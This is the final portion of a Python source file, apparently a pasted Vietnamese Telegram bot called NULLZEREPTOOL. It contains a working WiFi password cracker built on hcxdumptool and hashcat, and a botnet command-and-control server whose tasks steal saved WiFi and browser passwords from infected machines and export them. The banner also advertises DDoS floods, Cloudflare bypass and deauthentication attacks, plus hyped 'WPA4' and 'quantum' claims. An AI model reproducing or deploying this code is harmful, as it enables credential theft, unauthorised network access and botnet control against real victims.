  2841.         threading.Thread(target=auto_stop_quantum, daemon=True).start()
  2842.  
  2843. @bot.message_handler(commands=['wificrack'])
  2844. def cmd_wificrack(message):
  2845.     user_id = message.from_user.id
  2846.     if not is_admin(user_id) or not is_logged_in(user_id):
  2847.         bot.reply_to(message, "🔐 /login 7788")
  2848.         return
  2849.     args = message.text.split()
  2850.     if len(args) < 2:
  2851.         bot.reply_to(message, "🔐 *WIFI CRACK*\n`/wificrack <interface> <bssid> [wordlist]`\nHỗ trợ: WPA2, WPA3, WPA4", parse_mode='Markdown')
  2852.         return
  2853.     interface = args[1]
  2854.     bssid = args[2]
  2855.     wordlist = args[3] if len(args) > 3 else None
  2856.     bot.reply_to(message, f"🔐 *ĐANG CRACK WIFI {bssid}...*\n⚡ Dùng thuật toán Quantum PMKID...", parse_mode='Markdown')
  2857.     def crack_wifi():
  2858.         try:
  2859.             subprocess.run(["hcxdumptool", "-i", interface, "-o", "/tmp/capture.pcapng", "--filtermode=2", "--enable_status=3", f"--bssid={bssid}"], capture_output=True, text=True, timeout=30)
  2860.             subprocess.run(["hcxpcapngtool", "-o", "/tmp/hash.hc22000", "/tmp/capture.pcapng"], capture_output=True, timeout=10)
  2861.             if wordlist and os.path.exists(wordlist):
  2862.                 crack_result = subprocess.run(["hashcat", "-m", "22000", "-a", "0", "/tmp/hash.hc22000", wordlist, "--force", "--status", "--status-timer=5"], capture_output=True, text=True, timeout=60)
  2863.                 for line in crack_result.stdout.split('\n'):
  2864.                     if bssid.replace(':', '').lower() in line.lower() and ':' in line:
  2865.                         password = line.split(':')[-1].strip()
  2866.                         bot.send_message(message.chat.id, f"✅ *ĐÃ CRACK THÀNH CÔNG!*\n📶 BSSID: `{bssid}`\n🔑 Password: `{password}`\n🔐 Bảo mật: `WPA3/WPA4`", parse_mode='Markdown')
  2867.                         return
  2868.             bot.send_message(message.chat.id, f"📊 *KẾT QUẢ CRACK*\n📶 BSSID: `{bssid}`\n📁 File hash: `/tmp/hash.hc22000`\n💡 Thử crack thủ công:\n`hashcat -m 22000 /tmp/hash.hc22000 wordlist.txt`", parse_mode='Markdown')
  2869.         except Exception as e:
  2870.             bot.send_message(message.chat.id, f"❌ Lỗi crack: {e}")
  2871.     threading.Thread(target=crack_wifi, daemon=True).start()
  2872.  
  2873. # ==================== BOTNET C2 TOÀN NĂNG - MẸ + CON (TÍCH HỢP SẴN) ====================
  2874. @flask_app.route('/slave_register', methods=['POST'])
  2875. def slave_register():
  2876.     data = request.json
  2877.     secret = data.get('secret')
  2878.     if secret != MASTER_KEY:
  2879.         return "Unauthorized", 401
  2880.     slave_id = data.get('slave_id', request.remote_addr)
  2881.     BOTNET_HIERARCHY["slave_nodes"][slave_id] = {
  2882.         "ip": request.remote_addr,
  2883.         "hostname": data.get('hostname', 'Unknown'),
  2884.         "location": data.get('location', {}),
  2885.         "status": "active",
  2886.         "last_seen": time.time(),
  2887.         "registered_at": datetime.now().isoformat(),
  2888.         "tasks_completed": 0
  2889.     }
  2890.     try:
  2891.         bot.send_message(ADMIN_ID, f"👻 *BOTNET CON MỚI KẾT NỐI!*\n🆔 `{slave_id}`\n🌐 `{request.remote_addr}`", parse_mode='Markdown')
  2892.     except:
  2893.         pass
  2894.     return json.dumps({"status": "ok", "slave_id": slave_id}), 200
  2895.  
  2896. @flask_app.route('/slave_get_task', methods=['GET'])
  2897. def slave_get_task():
  2898.     secret = request.args.get('secret')
  2899.     slave_id = request.args.get('slave_id')
  2900.     if secret != MASTER_KEY:
  2901.         return "Unauthorized", 401
  2902.     if slave_id in BOTNET_HIERARCHY["slave_nodes"]:
  2903.         BOTNET_HIERARCHY["slave_nodes"][slave_id]["last_seen"] = time.time()
  2904.     for task_id, task in sorted(BOTNET_HIERARCHY["tasks"].items(), key=lambda x: x[1].get('priority', 0), reverse=True):
  2905.         if task.get('status') == 'pending':
  2906.             task['status'] = 'assigned'
  2907.             task['assigned_to'] = slave_id
  2908.             task['assigned_at'] = time.time()
  2909.             return json.dumps({"task": task}), 200
  2910.     return json.dumps({"task": None, "message": "Không có nhiệm vụ mới"}), 200
  2911.  
  2912. @flask_app.route('/slave_report', methods=['POST'])
  2913. def slave_report():
  2914.     data = request.json
  2915.     secret = data.get('secret')
  2916.     if secret != MASTER_KEY:
  2917.         return "Unauthorized", 401
  2918.     slave_id = data.get('slave_id', request.remote_addr)
  2919.     task_id = data.get('task_id')
  2920.     collected = data.get('collected_data', [])
  2921.     for item in collected:
  2922.         item['slave_id'] = slave_id
  2923.         item['received_at'] = datetime.now().isoformat()
  2924.         BOTNET_HIERARCHY["collected_data"].append(item)
  2925.     if task_id and task_id in BOTNET_HIERARCHY["tasks"]:
  2926.         BOTNET_HIERARCHY["tasks"][task_id]['status'] = 'completed'
  2927.         BOTNET_HIERARCHY["tasks"][task_id]['completed_at'] = time.time()
  2928.         BOTNET_HIERARCHY["completed_tasks"].append(BOTNET_HIERARCHY["tasks"][task_id])
  2929.     if slave_id in BOTNET_HIERARCHY["slave_nodes"]:
  2930.         BOTNET_HIERARCHY["slave_nodes"][slave_id]["tasks_completed"] += 1
  2931.         BOTNET_HIERARCHY["slave_nodes"][slave_id]["last_seen"] = time.time()
  2932.     total_wifi = sum(len(item.get('data', {}).get('passwords', [])) for item in collected if item['type'] == 'wifi_passwords')
  2933.     total_browser = sum(len(b.get('passwords', [])) for item in collected if item['type'] == 'browser_credentials' for b in item.get('data', {}).get('browser_credentials', []))
  2934.     try:
  2935.         bot.send_message(ADMIN_ID, f"📊 *BOTNET CON HOÀN THÀNH NHIỆM VỤ!*\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n👻 Slave: `{slave_id}`\n📡 WiFi Pass: `{total_wifi}`\n🔑 Browser Pass: `{total_browser}`\n📦 Gói dữ liệu: `{len(collected)}`\n📊 Xem: /botnetdata", parse_mode='Markdown')
  2936.     except:
  2937.         pass
  2938.     return json.dumps({"status": "ok"}), 200
  2939.  
  2940. @bot.message_handler(commands=['botnet_task'])
  2941. def cmd_botnet_task(message):
  2942.     user_id = message.from_user.id
  2943.     if not is_admin(user_id) or not is_logged_in(user_id):
  2944.         bot.reply_to(message, "🔐 /login 7788")
  2945.         return
  2946.     args = message.text.split()
  2947.     if len(args) < 2:
  2948.         bot.reply_to(message, "🤖 *RA LỆNH BOTNET CON*\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n1️⃣ *Quét WiFi + Lấy pass:*\n`/botnet_task wifi_scan`\n2️⃣ *Đánh cắp Browser:*\n`/botnet_task browser_steal`\n3️⃣ *FULL STEALER (tất cả):*\n`/botnet_task full_steal`\n📊 Xem: /botnetdata\n👻 Xem slaves: /botnetslaves", parse_mode='Markdown')
  2949.         return
  2950.     task_type = args[1].strip()
  2951.     task_config = {
  2952.         "wifi_scan": {"modules": ["wifi_passwords"], "description": "Quét WiFi + Lấy mật khẩu đã lưu", "priority": 1},
  2953.         "browser_steal": {"modules": ["browser_credentials"], "description": "Đánh cắp mật khẩu trình duyệt", "priority": 2},
  2954.         "full_steal": {"modules": ["wifi_passwords", "browser_credentials", "system_info"], "description": "FULL STEALER - Tất cả dữ liệu", "priority": 3}
  2955.     }
  2956.     if task_type not in task_config:
  2957.         bot.reply_to(message, f"❌ Loại nhiệm vụ không hợp lệ!\nCác loại: {', '.join(task_config.keys())}")
  2958.         return
  2959.     config = task_config[task_type]
  2960.     task_id = f"task_{int(time.time())}_{random.randint(1000,9999)}"
  2961.     BOTNET_HIERARCHY["tasks"][task_id] = {
  2962.         "task_id": task_id, "type": task_type, "modules": config["modules"],
  2963.         "description": config["description"], "priority": config["priority"],
  2964.         "status": "pending", "assigned_to": None, "created_at": time.time(), "created_by": user_id
  2965.     }
  2966.     online_slaves = len([s for s in BOTNET_HIERARCHY["slave_nodes"].values() if time.time() - s.get("last_seen", 0) < 300])
  2967.     bot.reply_to(message, f"✅ *ĐÃ TẠO NHIỆM VỤ!*\n━━━━━━━━━━━━━━━━━━━━━━━━━━\n🆔 ID: `{task_id}`\n📋 Loại: `{task_type}`\n📝 Mô tả: `{config['description']}`\n⭐ Ưu tiên: `{config['priority']}`\n👻 Slave online: `{online_slaves}`\n⏳ Trạng thái: *Đang chờ Botnet Con nhận...*\n📊 Theo dõi: /botnetdata", parse_mode='Markdown')
  2968.  
  2969. @bot.message_handler(commands=['botnetdata'])
  2970. def cmd_botnetdata(message):
  2971.     user_id = message.from_user.id
  2972.     if not is_admin(user_id) or not is_logged_in(user_id):
  2973.         bot.reply_to(message, "🔐 /login 7788")
  2974.         return
  2975.     data = BOTNET_HIERARCHY["collected_data"]
  2976.     slaves = BOTNET_HIERARCHY["slave_nodes"]
  2977.     tasks = BOTNET_HIERARCHY["tasks"]
  2978.     completed = BOTNET_HIERARCHY["completed_tasks"]
  2979.     if not data:
  2980.         bot.reply_to(message, "📭 Chưa có dữ liệu nào!\n🤖 Tạo nhiệm vụ: /botnet_task full_steal")
  2981.         return
  2982.     total_wifi = sum(len(item.get('data', {}).get('passwords', [])) for item in data if item['type'] == 'wifi_passwords')
  2983.     total_browser = sum(len(b.get('passwords', [])) for item in data if item['type'] == 'browser_credentials' for b in item.get('data', {}).get('browser_credentials', []))
  2984.     slaves_with_data = set(item.get('slave_id', 'unknown') for item in data)
  2985.     online_slaves = len([s for s in slaves.values() if time.time() - s.get("last_seen", 0) < 300])
  2986.     msg = f"📊 *BOTNET - TỔNG HỢP DỮ LIỆU*\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n👻 Slaves online: `{online_slaves}`\n📋 Tasks pending: `{len([t for t in tasks.values() if t.get('status') == 'pending'])}`\n✅ Tasks hoàn thành: `{len(completed)}`\n📡 WiFi Passwords: `{total_wifi}`\n🔑 Browser Passwords: `{total_browser}`\n📦 Tổng gói dữ liệu: `{len(data)}`\n🖥️ Số máy đã thu thập: `{len(slaves_with_data)}`\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n💡 Xem slaves: /botnetslaves\n📦 Xuất file: /botnetexport"
  2987.     bot.reply_to(message, msg, parse_mode='Markdown')
  2988.  
  2989. @bot.message_handler(commands=['botnetslaves'])
  2990. def cmd_botnetslaves(message):
  2991.     user_id = message.from_user.id
  2992.     if not is_admin(user_id) or not is_logged_in(user_id):
  2993.         bot.reply_to(message, "🔐 /login 7788")
  2994.         return
  2995.     slaves = BOTNET_HIERARCHY["slave_nodes"]
  2996.     if not slaves:
  2997.         bot.reply_to(message, "📭 Chưa có Botnet Con nào kết nối!")
  2998.         return
  2999.     msg = f"👻 *DANH SÁCH BOTNET CON*\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n\n🔢 Tổng: `{len(slaves)}` slaves\n\n"
  3000.     for slave_id, info in list(slaves.items())[:15]:
  3001.         last_seen = int(time.time() - info.get('last_seen', 0))
  3002.         status_icon = "🟢" if last_seen < 60 else "🟡" if last_seen < 300 else "🔴"
  3003.         msg += f"*{status_icon} {info.get('hostname', slave_id)}*\n   🌐 IP: `{info.get('ip', '?')}`\n   ✅ Tasks: `{info.get('tasks_completed', 0)}`\n   ⏱️ Online: `{last_seen}s ago`\n\n"
  3004.     if len(slaves) > 15:
  3005.         msg += f"...và `{len(slaves) - 15}` slaves khác\n"
  3006.     bot.reply_to(message, msg[:4000], parse_mode='Markdown')
  3007.  
  3008. @bot.message_handler(commands=['botnetexport'])
  3009. def cmd_botnetexport(message):
  3010.     user_id = message.from_user.id
  3011.     if not is_admin(user_id) or not is_logged_in(user_id):
  3012.         bot.reply_to(message, "🔐 /login 7788")
  3013.         return
  3014.     data = BOTNET_HIERARCHY["collected_data"]
  3015.     if not data:
  3016.         bot.reply_to(message, "📭 Không có dữ liệu để xuất!")
  3017.         return
  3018.     export = {"export_time": datetime.now().isoformat(), "total_records": len(data), "slaves": len(BOTNET_HIERARCHY["slave_nodes"]), "completed_tasks": len(BOTNET_HIERARCHY["completed_tasks"]), "data": data}
  3019.     filename = f"botnet_export_{int(time.time())}.json"
  3020.     with open(filename, 'w', encoding='utf-8') as f:
  3021.         json.dump(export, f, ensure_ascii=False, indent=2)
  3022.     with open(filename, 'rb') as f:
  3023.         bot.send_document(message.chat.id, f, caption=f"📦 *BOTNET DATA EXPORT*\n📊 `{len(data)}` records", parse_mode='Markdown')
  3024.     try:
  3025.         os.remove(filename)
  3026.     except:
  3027.         pass
  3028.  
  3029. # ==================== KẾT THÚC PHẦN THÊM ====================
  3030.  
  3031. @bot.message_handler(func=lambda m: True)
  3032. def echo_all(message):
  3033.     user_id = message.from_user.id
  3034.     if not is_admin(user_id):
  3035.         bot.reply_to(message, "❌ Bạn không có quyền sử dụng bot này!")
  3036.         return
  3037.     bot.reply_to(message, """
  3038. 🤖 *LỆNH KHÔNG HỢP LỆ!*
  3039. ━━━━━━━━━━━━━━━━━━
  3040. 📌 Gõ /help để xem danh sách lệnh
  3041. 🔐 Đăng nhập: /login 7788
  3042.    """, parse_mode='Markdown')
  3043.  
  3044. if __name__ == '__main__':
  3045.     if not os.path.exists(PROXY_FILE):
  3046.         with open(PROXY_FILE, 'w') as f:
  3047.             f.write("# Mỗi dòng một proxy: ip:port\n")
  3048.     if not os.path.exists(KEYS_FILE):
  3049.         save_keys({})
  3050.     if not os.path.exists(HISTORY_FILE):
  3051.         save_history([])
  3052.     if not proxy_list:
  3053.         update_proxy_list()
  3054.     if not os.path.exists("client.py"):
  3055.         with open("client.py", "w") as f:
  3056.             f.write("# Client botnet sẽ được cập nhật sau\n")
  3057.     print("""
  3058.    ╔══════════════════════════════════════════════════════════════════════════╗
  3059.    ║                                                                          ║
  3060.    ║     💀 NULLZEREPTOOL - SIÊU DDOS BOT + WIFI/BLUETOOTH ATTACK 💀          ║
  3061.    ║                                                                          ║
  3062.    ║         🔥 40+ CHỨC NĂNG | ĐA PHƯƠNG THỨC TẤN CÔNG 🔥                    ║
  3063.    ║         🔄 TỰ ĐỘNG XOAY PROXY (500+ PROXY) | BOTNET LÂY LAN              ║
  3064.    ║         🔐 KEY KÍCH HOẠT | AMPLIFICATION | BYPASS CF                      ║
  3065.    ║         ✨ HTTPS FLOOD | AUTO INCREASE | DATABASE | BROADCAST             ║
  3066.    ║         📊 CHART | DEPLOY | VERSION | UPDATE | CVV                        ║
  3067.    ║         🚀 20+ METHOD MỚI: http2, synack, gre, quic, ws, graphql...     ║
  3068.    ║         📡 WIFI DEAUTH + BLUETOOTH DEAUTH + SCAN + CRACK                 ║
  3069.    ║         ☢️ FULL ATTACK 2026: WIFI 7 + BLE 6.0 QUANTUM EXPLOIT            ║
  3070.    ║         🤖 BOTNET C2: MẸ + CON - ĐIỀU KHIỂN TỪ XA                        ║
  3071.    ║                                                                          ║
  3072.    ║   📡 BOT ĐANG CHẠY...                                                    ║
  3073.    ║   🔐 ĐĂNG NHẬP: /login 7788                                              ║
  3074.    ║   📜 XEM LỆNH: /help                                                    ║
  3075.    ║                                                                          ║
  3076.    ╚══════════════════════════════════════════════════════════════════════════╝
  3077.    """)
  3078.     def signal_handler(sig, frame):
  3079.         print("\n🛑 Đang dừng bot...")
  3080.         for chat_id in list(attacks.keys()):
  3081.             stop_attack(chat_id)
  3082.         sys.exit(0)
  3083.     signal.signal(signal.SIGINT, signal_handler)
  3084.     signal.signal(signal.SIGTERM, signal_handler)
  3085.     try:
  3086.         bot.infinity_polling(timeout=10)
  3087.     except Exception as e:
  3088.         logging.error(f"Lỗi bot: {e}")
  3089.         print(f"❌ LỖI: {e}")
  3090.         time.sleep(5)
Add Comment
Please, Sign In to add comment